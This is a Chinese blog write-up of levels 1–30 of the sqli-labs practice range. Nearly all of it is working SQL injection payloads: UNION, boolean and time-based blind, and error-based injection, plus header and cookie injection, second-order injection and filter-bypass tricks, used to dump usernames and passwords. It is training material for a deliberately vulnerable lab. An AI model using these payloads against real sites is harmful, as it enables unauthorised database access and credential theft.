sqli靶场(1-30关)

继续做这个数据库的靶场昂,老规矩,还是先回顾一下pikachu的数据库注入漏洞

一、前情提要

1、什么是数据库

数据库是一个结构化的数据集合,用于存储、管理和检索数据。它是一个组织化的数据集合,可以通过计算机系统进行访问、管理和更新。数据库通常以表格的形式存储数据,其中每个表格包含多个列,每一行则代表一个数据记录。

数据库可以用于存储各种类型的数据,包括文本、数字、图像、音频和视频等。它们被广泛应用于各种领域,如企业管理、电子商务、金融、医疗保健、教育和科学研究等。数据库通过提供高效的数据管理和检索功能,帮助组织和个人更有效地组织和利用数据。

常见的数据库系统包括关系型数据库(如MySQL(这里使用的)、Oracle、SQL Server)、非关系型数据库(如MongoDB、Redis)、以及混合型数据库(如MariaDB)。这些数据库系统提供了各种功能和性能特性,以满足不同应用场景的需求。

2、数据库漏洞

数据库漏洞是指数据库系统中存在的安全漏洞,可能会导致未经授权的访问、数据泄露、数据篡改或系统崩溃等安全问题。数据库漏洞可能是由于软件设计缺陷、配置错误、未及时更新补丁或未经授权的访问等原因导致的。

一些常见的数据库漏洞包括SQL注入、未经授权的访问、未加密的数据传输、弱密码、未授权的配置更改等。为了防止数据库漏洞的发生,数据库管理员需要及时更新数据库软件和补丁,加强访问控制和身份验证机制,加密数据传输,定期进行安全审计和漏洞扫描等措施。

3、预防漏洞

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

这一部分基本上是纯英文,英语没学好要遭殃了,呜呜呜,而且需要我们掌握一定的sql语句(增删改查尤为重要)

二、开始通关

Less-1

看题,数字ID作为参数,我们输入 ?id=1

通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。

接下来判断是字符型还是数字型

输入?id=1'     //报错

输入?id=1' --+     //(--+为注释符)正常回显

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这个错误提示是关于SQL语法的错误。它表明在你的SQL查询中有语法错误,可能是因为在语句中使用了不正确的语法或者引号。建议你检查一下你的SQL查询语句,确保语法正确。

由此可见,本题是字符型。

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。(联合查询是指在数据库中同时查询多个表的数据,并将它们联合起来展示。这种查询通常用于需要从多个表中获取相关数据的情况。在SQL中,可以使用关键字"union"来进行联合查询,或者使用"JOIN"来连接多个表进行查询。联合查询可以帮助用户从不同的表中检索相关的数据,以便进行更全面的分析和报告。)

用order by语句来查看有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

payload:?id=1'order by 3 --+

3没有报错而4报错了,说明,总共有三列。

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

payload:?id=-1'union select 1,2,3--+

这个结果可以看到是第二列和第三列里面的数据是显示在页面的。

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。

payload:?id=-1'union select 1,database(),version()--+

通过结果知道当前数据看是security,版本是5.7.26。

爆表

payload:?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

然后爆列名通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中

payload:?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

palyload:?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

成功获得了所有的账号和密码!

Less-2

和第一关是一样进行判断

入?id=1‘ --+     //报错

输入?id=1 --+     //正常回显

说明是数字型注入。

剩下的步骤只需把第一关的sql语句?id=-1'的单引号去掉就行了

?id=1 --+
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

Less-3

当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

接下来可以构造闭合了,只需把第一关的sql语句?id=-1'后加一个)就行了

?id=1')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

Less-4

根据页面报错信息得知sql语句是双引号字符型且有括号

接下来可以构造闭合了,只需把第上关的sql语句?id=-1')后加一个?id=-1"就行了

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Less-5

第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数

  1. length() 函数:用于获取字符串的长度,即字符串中字符的个数。

  2. ascii() 函数:用于获取字符的ASCII码值。

  3. substr() 函数:用于获取字符串的子串,即从原字符串中截取指定长度的子字符串。

首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4


?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

判断所有表名字符长度。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

逐一判断表名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
 

判断所有字段名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

逐一判断字段名。    
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

判断字段内容长度
?id=1' and length((select group_concat(username,password) from users))>109--+

逐一检测内容
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

爆库:?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
这里的0x7e就是~,所以数据库名就是 security


爆表:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
 
查询users表的列名:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+


查询username:?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

爆库

爆表

查询users表的列名

查询username

Less-6

第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。

Less-7

输入id=1时没有报错

输入?id=1'时显示报错,但是没有报错信息

当我们输入?id=1"时显示正常,所以我们可以断定参数id时单引号字符串。 

当输入?id=1'--+时报错,输入?id=1')--+依然报错,输入?id=1'))--+,发现页面显示正常

看到这里,过关方式就是在第五关单引号后面加两个小括号就可以了

Less-8

第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in..进行参照。id参数是一个单引号字符串。

Less-9

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。

如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。


?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符


?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名


?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。


?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

Less-10

和第九关一样只需要将单引号换成双引号。

Less-11

从这一关开始,界面发生了一些变化,变成了登录界面。前十关的注入点都在上方的url中(get型),从11关开始就变为了post型,本题的注入点就在输入框中。

无论我们输入什么东西,上方的URL都不会变化

输入1',出现了以下报错

由此可以推出username和password的参数值是-->username='参数'      password='参数'

判断是否存在注入  payload:1' or 1=1#   (大家输入时一定要注意中英文字符的区分)

由此判断出存在注入漏洞

输入:1' union select 1,2#    

再用burp抓一下包,send to Repeater

我们需要修改下面的参数值,加入sql语句来得到相关信息

爆库:uname=1' and extractvalue(1,concat(0x7e,(select database()))) #&passwd=&submit=Submit

然后点击send

成功爆出库名!

爆表:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #&passwd=&submit=Submit

然后点击send

后面加上not in ()就可以查到其他表:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) #&passwd=&submit=Submit

爆列:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #&passwd=&submit=Submit

爆数据:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #&passwd=&submit=Submit

同样在后面加上not in可以查询其他数据:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you')))) #&passwd=&submit=Submit

也可以用联合查询的方法(必须用#注释)

爆库:uname=1' union select 1,database() #&passwd=&submit=Submit

爆表:uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit

爆列:uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=&submit=Submit

爆数据:uname=1' union select 1,group_concat(username,id,password) from users# &passwd=&submit=Submit

这里展示一下爆数据的样例

Less-12

输入 1'     1"    1")

发现这几种都出现了报错,我学过的方法已经用完了,那就康康源码咋解决吧

可以看到59行这里为sql查询语句

那我们可以试试将原本payload最后的#(注释)换为and",使前闭合,中间查询,后面报错

例如 payload:1"  and extractvalue(1,concat(0x7e,(select database())))  and " 

放到查询语句中

@$sql="SELECT username, password FROM users WHERE username="  1"  and extractvalue(1,concat(0x7e,(select database())))  and "   " and password=($passwd) LIMIT 0,1";

所以本关的payload为:

爆库:uname=1" and extractvalue(1,concat(0x7e,(select database()))) and "  &passwd=&submit=Submit

爆表:uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=&submit=Submit

爆列:uname=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=&submit=Submit

爆数据:uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users))) and " &passwd=&submit=Submit

这里只展示一下爆库和爆数据的情况

当然也可以用联合注入的方法,就是将第11关联合注入语句中的单引号改为")

爆库:uname=1") union select 1,database() #&passwd=&submit=Submit

爆表:uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=&submit=Submit

爆列:uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=&submit=Submit

爆数据:uname=1") union select 1,group_concat(username,id,password) from users# &passwd=&submit=Submit

Less-13

输入1,1',1"

只有 1'有回显,通过报错可知是通过') 闭合的

爆库:uname=1') and extractvalue(1,concat(0x7e,(select database()))) and (' &passwd=&submit=Submit

爆表:uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and ('&passwd=&submit=Submit

爆列:uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and ('&passwd=&submit=Submit

爆数据:uname=1') and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users))) and ('&passwd=&submit=Submit

这里只展示爆数据的样例

我试了试联合查询

payload:uname=1') union select 1,database() #&passwd=&submit=Submit

一片空白,这个没法用。。。

Less-14

输入1"

根据其回显我们知道是通过"闭合

payload:

爆库:uname=1" and extractvalue(1,concat(0x7e,(select database()))) and "  &passwd=&submit=Submit

爆表uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=&submit=Submit

爆列:uname=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=&submit=Submit

爆数据:uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users))) and " &passwd=&submit=Submit

Less-15

输入1'

根据回显,说明以 ' 闭合,其解题方法就和11关一样了,但是不能用联合注入

payload:

爆库:uname=1' and extractvalue(1,concat(0x7e,(select database()))) #&passwd=&submit=Submit

爆表:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #&passwd=&submit=Submit

爆列:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #&passwd=&submit=Submit

爆数据:uname=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #&passwd=&submit=Submit

Less-16

这次怎么输都没有回显,也没有错误信息的显示,那就只能用时间盲注,根据回显时间来判断输入信息是否正确。

payload:

爆库(长):admin") and if(length(database())=8,sleep(5),1)#

爆库(名):admin") and if(left(database(),1)='s',sleep(5),1)#

爆表:admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)#

爆列(名):admin") and if( left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)#
 

爆数据:admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#

admin") and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)#

Less-17

这一题的界面和前面不同的是,这一题是已经登录上去 ,我们看到的是修改密码的界面     

该题也没有错误回显,并且将上一关的")改为"也不好用,实在是想不到办法,可以看看源码

发现这道题对uname做了检查处理,但是没有对password进行处理,我们可以通过passwd构造payload,burp抓包,发送到repeater

爆版本号:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,version(),0x7e),1)#&submit=Submit

爆库:uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select database()))) #&submit=Submit

爆表:uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #&submit=Submit

爆列:uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) #&submit=Submit

爆数据:uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) #&submit=Submit

大败而归,我又看了看师傅的博客和别人的博客,换一个函数就可以了

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) #&submit=Submit

找找这两个函数的区别

在MySQL中,updatexml和extractvalue是用于处理XML数据的两个函数。

updatexml函数用于更新XML文档中的节点值或属性值。它接受三个参数:XML文档、Xpath表达式和新的节点值或属性值。通过指定Xpath表达式,可以定位到要更新的节点或属性,然后将其值替换为新的值。

示例:

UPDATE table_name SET xml_column = updatexml(xml_column, '/path/to/node', 'new_value') WHERE condition;

extractvalue函数用于从XML文档中提取指定节点或属性的值。它也接受两个参数:XML文档和Xpath表达式。通过指定Xpath表达式,可以定位到要提取的节点或属性,并返回其值。

示例:

SELECT extractvalue(xml_column, '/path/to/node') AS extracted_value FROM table_name WHERE condition;

因此,updatexml用于更新XML文档中的节点或属性的值,而extractvalue用于提取XML文档中指定节点或属性的值。这两个函数的主要区别在于它们的功能和用途。(emmm。。。)

Less-18

打这一关之前,先回到17关,把密码改为123456,记住账号是admin

发现登录进去了就是可以看到用户代理和IP地址,说明我们可以由此构造payload。burp抓包,发送到repeater(注意抓包是保证你的账号和密码是正确的

爆库:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

爆表:' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

爆列:' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '

爆数据:' and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e)) and '    

这里只展示爆库的样例

Less-19

十九关当我们输入正确的账户密码我们的referer字段内容会显示在页面上。这一关和上一关的做法一样,只是需要我们抓包后把payload放在Referer后面,测试了一下爆账号和密码

payload:1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#

Less-20

第二十关当我们输入正确页面时候cookie字段显示在页面上,burp抓包。进行注入,payload和上面一样,这里还是只展示爆库

payload:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

我这里还学了使用联合注入,展示一下payload

爆库:uname=-admin' union select 1,2,database()#

爆表:uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆列:uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据:uname=-admin' union select 1,2,group_concat(username,id,password) from users# 

Less-21

这一关好像和上一关一样,也是用cookie注入

原来是对uname使用了base64编码,那么我们只需要上传paylaod的时候使用base64加密一下就可以了

编码工具直接上网搜要不chatGPT

爆库:' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

编码:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkgYW5kICc=

爆表:' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

编码:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSkgYW5kICc=

爆列:' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '

编码:

JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnKSwweDdlKSkgYW5kICc=

爆数据:' and extractvalue(1,concat(0x7e,(select group_concat(username,id,password) from users),0x7e)) and ' 

编码:  

JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsaWQscGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpKSBhbmQgJ8KgIMKgwqA=

使用联合注入也是这一套的流程,根据报错提示,注意闭合应该使用')

例如 payload:-admin') union select 1,2,database()#

Less-22

第二十二关和第二十一关一样只不过cookie是双引号base64编码,没有括号。就是将20关联合注入的payload中的'改为”

爆库:-admin" union select 1,2,database()#

爆表:-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆列:-admin" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据:-admin" union select 1,2,group_concat(username,id,password) from users# 

然后进行base64编码,burp抓包,放在uname=后面就可以了

Less-23

打开界面没有头绪,还是先看看源码吧

发现对注释符进行了处理,改用or来替换注释符进行闭合

爆库:?id=' union select 1,2,database() '

爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆数据:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less-24

这一关应该就是需要我们改一下密码

输入正确账号和密码后,出现了修改密码的页面,先退出

我们试着去注册一个新用户admin'#,密码随便写

(单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。)

然后修改admin'#密码为123456

发现对admin的密码进行了修改

我们输入的:

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

实际执行的:

UPDATE users SET passwd="New_Pass" WHERE username =' admin'

Less-25

第二十五关根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。information可写为infoorrmation,password写成passwoorrd

爆库:?id=' union select 1,2,database() --+

爆表:?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

 爆列:?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+

爆数据:?id=' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+

Less-26

还是看看源码做了哪些过滤

可以依旧使用报错注入,将注释符和以及and ,or 还有空格全部进行了过滤,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。

爆库:?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1))||'0

爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0

爆列: ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆数据:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

Less-26a

该关卡和二十六关差不多,多了一个括号。所以不能使用报错注入,只能使用联合注入。

但是联合需要用到空格,windows系统又不能用特殊符号代替空格。就没办法进行实践了。

将23关的payload与之对比变化只有空格用特殊符号替代,并且使用了括号闭合。其余的同理,就不过多赘述了

23关   :?id=' union select 1,2,database() '

26a关 :?id=1')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

Less-27

看看源码做了哪些过滤

重点是没有对and和or进行过滤,由此我们可以发构造payload,使用报错注入

爆库:?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or'0

爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0

爆列:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0

爆数据:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0

Less-27a

该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。使用不了报错注入,所以我们需要使用盲注和联合注入。windows无法用特殊字符替换空格。无法实践,但是可以看看payload

爆库:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1

爆列:?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

爆数据:?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

Less-28

还是看看源码做了什么过滤

该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用双写绕过

爆库

?id=0')uniunion%0Aselecton%0Aselect%0A1,2,database(),3%0band('1

爆表

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
 爆列
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
爆数据
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1

Less-28a

还是看看源码过滤了什么

只过滤了union和select,可以直接双写绕过

爆库:?id=0') uniunion selecton select 1,2,database()--+

爆表:?id=0')uniunion selecton select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+

爆列:?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' --+

爆数据: ?id=0')uniunion selecton select 1,2,group_concat(username,0x7e,password) from users--+

这里只展示一下爆数据的测试结果

其他的也是包过的。

Less-29

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。这里可以直接用23关的payload。

爆库:?id=' union select 1,2,database() '

爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆数据:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

Less-30

这里只需要将上一关的单引号闭合改为双引号闭合

爆库:?id="union select 1,2,database() "

爆表:?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= "

爆表的时候发现不行了,那就换一种不闭合后面,将后面注释掉

爆表:?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列:?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆数据?id=" union select 1,2,group_concat(username,0x7e,password) from users--+

三、结束语

到此为止,任务也算是完成了,还是总结一下常见的方法

1、联合注入

2、基于时间或真假的盲注

3、报错注入

在不同的注入方法中还有不同的闭合方法,以及其他情况,base64编码,还有特殊字符编码等。

  • 44
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值